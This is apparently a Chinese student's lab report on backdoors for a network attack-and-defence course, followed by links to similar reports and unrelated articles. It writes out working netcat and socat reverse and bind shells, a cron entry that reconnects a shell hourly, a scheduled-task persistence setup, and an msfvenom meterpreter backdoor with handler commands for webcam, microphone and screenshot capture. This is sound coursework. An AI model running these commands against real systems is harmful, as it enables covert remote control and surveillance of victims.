目录

1. 实验内容

1.1 使用netcat获取主机操作Shell,cron启动

首先安装netcat(又名nc、ncat),Linux系统自带nc,无需安装。Windows下需自行下载。官网如下:

http://nc110.sourceforge.net/

http://netcat.sourceforge.net/

官网下载速度不佳,亦可在老师的码云上下载。

1.1.1 Windows获得Linux Shell

使用ipconfig命令,查看Windows的ip地址为172.30.4.204

使用ifconfig命令,查看Linux的ip地址为192.168.159.131

定位到ncat的安装目录下,使用Windows的命令行窗口输入ncat.exe -l -p 8086,表示监听主机的8086号端口,此处致敬8086架构40周年。

打开Linux终端,输入nc 172.30.4.204 8086 -e /bin/sh命令,表示连接到ip地址为172.30.4.204的主机的8086端口上,并把/bin/sh程序送给目的主机执行。

此时,Windows已经拿到了Linux的shell,并可以随意执行命令。

1.1.2 Linux获得Win Shell

打开Linux终端,输入nc -l -p 8086命令。

定位到ncat的安装目录下,使用Windows的命令行窗口输入ncat.exe 192.168.159.131 8086 -e cmd.exe,表示连接到ip地址为192.168.159.131的主机的8086端口上,并把cmd.exe程序送给目的主机执行

此时,Linux已经拿到了Windows的shell,并可以随意执行命令。

1.1.3 使用Linux定时任务cron,让Windows定时获得Linux的shell

关于cron的学习可以参考这篇博客——Linux 定时任务crontab_014

我们执行crontab -e命令,编辑定时任务。按照提示选择2。

添加14 * * * * nc 172.30.4.204 8086 -e /bin/sh

ps:代表在每小时14分的时候执行nc 172.30.4.204 8086 -e /bin/sh命令。

执行crontab -l命令查看我们新添加的任务。

Windows下开启监听,18:14到,这是Windows已经收到了Linux的Shell,执行date命令可以查看当前时间。

1.2 使用socat获取主机操作Shell, 任务计划启动

同netcat,可以在老师的码云上获得安装包。

首先为Windows添加计划任务,在Windows管理工具中找到任务计划程序

点击新建任务按钮

新建触发器,将开始任务设置为工作站锁定时

新建操作,程序或脚本中选择socat.exe路径,在添加参数一栏中写tcp-listen:5101 exec:cmd.exe,pty,stderr 表示把cmd.exe绑定到端口5101,同时把cmd.exe的stderr重定向到stdout上。

在常规选项卡中,输入名称(学号),点击确定完成任务创建。

找到刚刚创建的20165101任务,右键点击运行,此时会弹出命令提示符表明成功运行。

在Kali中输入socat - tcp:172.30.4.204:5101命令,可以成功得到一个cmd shell。

1.3 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

msfvenom命令介绍

参数说明(options):

-p, --payload      <payload>        使用攻击负荷。指定一个'-'或者输入(stdin)用户自定义的payloads(攻击负荷)。

--payload-options 攻击负荷(payload)标准参数(options)列表。

-l, --list <type> 一个模块类型列表。参数是:payloads、encoders、nops、all。

-n, --nopsled <length> 提前给负荷(payload)设置一个长度为length的nopsled。

-f, --format <format> 输出格式(使用 --help-formats来查看变量格式列表)

--help-formats 变量格式列表

-e, --encoder <encoder> 使用的编码(encoder)

-a, --arch <arch> 使用的结构(architecture)

--paltform <paltform> 攻击负荷的平台(platform)

--help-paltform 变量平台的列表信息

-s,--space <length> 产生有效负荷的最大长度

--encoder-space  <length> 编码的有效负荷的最大长度(默认是使用-s 的值)

-b,--bad-chars <list> 需要规避(avoid)的字符(characters)列表,例如:‘\x00\xff’

-i,--iterations <count> 对负荷进行编码的次数。

-c,--add-code <path> 指定一个详细win32 shellcode文件给include

-x,--template <path> 指定一个自定义可执行的文件作为一个模板(template)

-k,--keep 保留模板行为并且把负荷作为一个新的线程注入

-o,--out <path> 保存攻击负荷(payload)

-v,--var-name <name> 指定一个自定义变量名作为确切的输出格式

--smallest 生成最小可用攻击负荷

-h,--help 显示msfvenom使用信息

关于msfvenom的使用实例可以看这篇博文

首先我们应该将攻击机和靶机放置在同一个网段下,否则将无法建立连接。我们在Kali中输入leafpad /etc/network/interfaces命令。

在文件末尾添加以下内容即可:

auto eth0
iface eth0 inet static
address 172.30.4.205
netmask 255.255.248.0
gateway 172.30.7.254

PS:IP地址,子网掩码,网关要和靶机相匹配。

输入/etc/init.d/networking restart重启网络即可

这里我们首先执行msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.4.205 LPORT=5101 -f exe > 20165101_backdoor.exe命令生成一个后门文件。

我们用ncat将后门文件传送到靶机

Windows端输入ncat.exe -l -p 8086 > 20165101_backdoor.exe命令

在Kali中输入nc 172.30.4.204 8086 < 20165101_backdoor.exe命令

如此可以完成程序的传送

在Kali中输入msfconsole命令

依次输入以下命令:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 172.30.4.205 //此处应为Linux的IP
set LPORT 5101 //5101为端口号
show options
exploit //开启监听

Windows靶机打开后门文件

现在Kali已经可以控制Windows了,输入shell命令即可获得Windows的Shell。

1.4使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

获取靶机的屏幕截图:srceenshot

使用靶机的摄像头拍照:webcam_snap

使用摄像头录像:webcam_stream

录音:record_mic

提权:getsystem,未成功。

生成文件如下

1.5使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

2. 基础问题回答

2.1 例举你能想到的一个后门进入到你系统中的可能方式?

1.利用浏览器漏洞,在访问挂马网站时,后门会自动下载并执行。

2.在使用外挂、破解工具时和软件进行捆绑。

2.2 例举你知道的后门如何启动起来(win及linux)的方式?

1.后门程序修改注册表,以达到开机自启动的目的。

2.与正常程序进行捆绑启动。

3.Windows可以修改任务计划程序。

4.Linux利用cron定时启动。

5.后门程序修改注册表,将文件关联程序修改为自己的程序,(如:双击.txt文件时,系统错误的调用后门程序)。

2.3 Meterpreter有哪些给你映像深刻的功能?

1.零件化的功能组件,后门程序可以自己定制。

2.可以打开靶机的摄像头、麦克风等设备。

3.可以获得靶机的Shell。

2.4 如何发现自己有系统有没有被安装后门?

1.监控主机的端口,有没有异常打开的端口。

2.安装杀毒软件、防火墙,监控自己的主机。

3. 实验总结与体会

本次实验通过实现一个简单的后门程序,让我感受到了后门程序极强的危害性。经过免杀处理,后门程序可以躲过大多数杀毒软件的查杀,如果一个人拥有一个公网IP,将后门程序安装到靶机,那么就可以进行远程控制靶机,而且这个过程可以很隐蔽,所以如何防范这类事情的发生也是值得思考的一件事情。我会利用自己的所学,防止这些事件在我自己和周围人身上发生。

20165101刘天野 2018-2019-2《网络对抗技术》Exp2 后门原理与实践的更多相关文章

  1. 2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践

    2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践 实验内容 使用netcat获取主机操作Shell,cron启动: 使用socat获取主机操作Shell, 任务 ...

  2. 20155326刘美岑 《网络对抗》Exp2 后门原理与实践

    20155326刘美岑 <网络对抗>Exp2 后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...

  3. 20145303刘俊谦《网络对抗》Exp2 后门原理与实践

    20145303刘俊谦<网络对抗>Exp2 后门原理与实践 基础问题回答 1.例举你能想到的一个后门进入到你系统中的可能方式? •在网页上浏览不安全的网站或者下载不安全的软件 •通过发送邮 ...

  4. 20145209刘一阳《网络对抗》Exp2 后门原理与实践

    20145209刘一阳<网络对抗>Exp2 后门原理与实践 基础问题回答 1.例举你能想到的一个后门进入到你系统中的可能方式? •在网上下载软件的时候,后门很有可能被捆绑在下载的软件当中: ...

  5. 20155324《网络对抗》Exp2 后门原理与实践

    20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...

  6. 20155208徐子涵《网络对抗》Exp2 后门原理与实践

    20155208徐子涵<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 答:当我们在非官方网站上下载软件时,后门极有可能会进入我们 ...

  7. 20145236《网络对抗》Exp2 后门原理与实践

    20145236<网络对抗>Exp2 后门原理与实践 目录: 一.基础问题回答 二.常用后门工具实践 2.1 Windows获得Linux Shell 2.2 Linux获得Windows ...

  8. 20155202 张旭《网络对抗》Exp2 后门原理与实践

    20155202 张旭<网络对抗>Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 捆绑在软件中 注入在可执行文件里 注入在office文件的宏里面 ...

  9. 20155218《网络对抗》Exp2 后门原理与实践

    20155218<网络对抗>Exp2 后门原理与实践 常用后门工具实践 1.Windows获得Linux Shell: 在Windows下,先使用ipconfig指令查看本机IP,使用nc ...

  10. 20155227《网络对抗》Exp2 后门原理与实践

    20155227<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 在非官方网站下载软件时,后门很可能被捆绑在软件中. 攻击者利用欺 ...

随机推荐

  1. Spinner --- 功能和用法

    第一种方法: 使用Spinner时需要配置选项的资源文件,资源文件为一个string类型的数组 在res下的values文件夹下新建一个xml文件 内容为: <?xml version=&quo ...

  2. DataTable To Entity

    using System;using System.Collections.Generic;using System.Data;using System.Reflection;using System ...

  3. 修改yum源为阿里云的

    将Centos的yum源更换为国内的阿里云源 author:headsen chen date:2018-04-28  13:33:41 1.备份  mv /etc/yum.repos.d/CentO ...

  4. 【BZOJ4385】[POI2015]Wilcze doły 单调栈+双指针法

    [BZOJ4385][POI2015]Wilcze doły Description 给定一个长度为n的序列,你有一次机会选中一段连续的长度不超过d的区间,将里面所有数字全部修改为0.请找到最长的一段 ...

  5. 禁用chrome默认打印框直接打印

    在做web打印的时候 重要弹出一个对话框选择打印机等等, 比较影响操作, 经过一番谷歌终于找到了解决方案 在桌面的chrome 图标 右键 打开属性对话框 在目标 添加  --kiosk-printi ...

  6. JavaWeb项目(SSM)准备工作

    1.新建dynamic web project(Maven project也行) 我用的Eclipse + ssm + mysql 2.准备jar包 整合ssm的包1. springmvc: ...2 ...

  7. Java版接口自动化--初稿

    一.接口参数的获取: 1.参数通过Excel读取,并将结果写入Excel中 package org.fanqi.operateExcel; import java.io.FileInputStream ...

  8. Oracle实例的恢复、介质恢复( crash recovery)( Media recovery)

    实例的恢复( crash recovery) 什么时候发生Oracle实例恢复? shutdown abort; 数据库异常down掉(机器死机,掉电...) 实例恢复的原因是数据有丢掉,使用redo ...

  9. 创建存储过程修改role密码

    1 创建存储过程 DELIMITER | drop procedure if exists pro_update_role_pwd; CREATE PROCEDURE pro_update_role_ ...

  10. php strcmp()字典排序

    字典排序(lexicographical order)是一种对于随机变量形成序列的排序方法.其方法是,按照字母顺序,或者数字小大顺序,由小到大的形成序列. 比如,字典中a-z,是依次递增的,a,b,c ...